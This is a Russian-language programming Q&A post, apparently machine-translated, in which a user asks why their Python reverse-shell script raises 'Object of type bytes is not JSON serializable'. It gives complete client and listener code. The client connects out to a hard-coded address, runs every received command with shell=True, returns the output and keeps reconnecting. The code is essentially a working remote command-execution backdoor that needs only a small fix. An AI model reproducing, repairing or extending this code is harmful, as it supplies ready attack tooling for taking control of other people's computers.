Как я могу исправить это 'TypeError: Объект байтов типа не является сериализуемым JSON' - PullRequest
0 голосов
/ 15 мая 2019

Я пытаюсь создать простой скрипт оболочки Reverse, который может загружать, скачивать и читать длинные данные. Серверная часть работала на ПК с Linux, на котором установлен Python 3.6. Клиентская сторона работала на моем ПК с Windows, на котором установлен Python 3.7.2. Сценарий работал отлично, пока я не попытался сериализовать его.

на стороне клиента:

import socket, subprocess
from time import sleep
import json 
import io


class Client:
    def __init__(self, ip, port):
        # First thing to run
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))
        self.connected = True   

    def command(self, command):
        return subprocess.check_output(command, shell=True)

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(bytes(j_data, 'utf-8'))

    def recv_stro(self):
        json_data = self.connection.recv(1024).decode("utf-8")
        return json.loads(json_data)

    def run_now(self):
        while True:  
            try:
            # recving the commands
                commd = self.recv_stro()
                result = self.command(commd)
                self.reliable_send(result)
            except subprocess.CalledProcessError:
                self.connection.send(bytes("Not a command", "utf-8"))
try:
    Client("192.168.1.17", 4444).run_now()
except socket.error:
                connected = False
                connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                while not connected:
                    try:
                        Client("192.168.1.17", 4444).run_now()
                        connected = True
                    except socket.error:
                        sleep(10)

Серверные:

import socket
from termcolor import cprint
import json
# 192.168.1.17, 4444
class Listen:
    def __init__(self, ip, port):  
        sooc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sooc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sooc.bind((ip, port))
        sooc.listen(0)
        cprint("[+]wait for it", 'red', attrs=['bold'] )
        self.conn, address = sooc.accept()
        cprint(f"Connected to {address}", 'green', attrs=['bold'])
    def strongly(self, data):
        json_data = json.dumps(data)
        self.conn.send(bytes(json_data, 'utf-8'))
    def recv_stro(self):
        while True:        
            try:
                json_data = self.conn.recv(1024).decode("utf-8")        
                return json.loads(json_data)
            except ValueError:
                continue
    def execute(self, command):
        self.strongly(command)
        return self.recv_stro()


    def run(self):          
        while True:
            cmd = input(">> ")
            if len(str.encode(cmd)) > 0:
                self.strongly(cmd)
                respond = self.recv_stro().decode("utf-8")
                print(respond)

man = Listen("192.168.1.17", 4444)
man.run()

TraceBack:

  File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
  File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\encoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\encoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\encoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable

...